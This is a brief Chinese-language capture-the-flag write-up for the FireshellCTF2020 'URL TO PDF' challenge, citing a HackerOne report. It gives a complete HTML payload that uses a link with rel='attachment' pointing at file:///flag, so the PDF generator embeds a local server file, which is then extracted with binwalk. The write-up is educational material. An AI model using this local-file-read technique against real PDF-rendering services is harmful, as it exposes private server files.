[FireshellCTF2020]URL TO PDF
解题步骤
链接里面:https://hackerone.com/reports/508123有
在vps上编辑index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///flag">
</body>
</html>
然后提交该网址,得到一个pdf,需要binwlk -e
提取一下,就可以在里面找到flag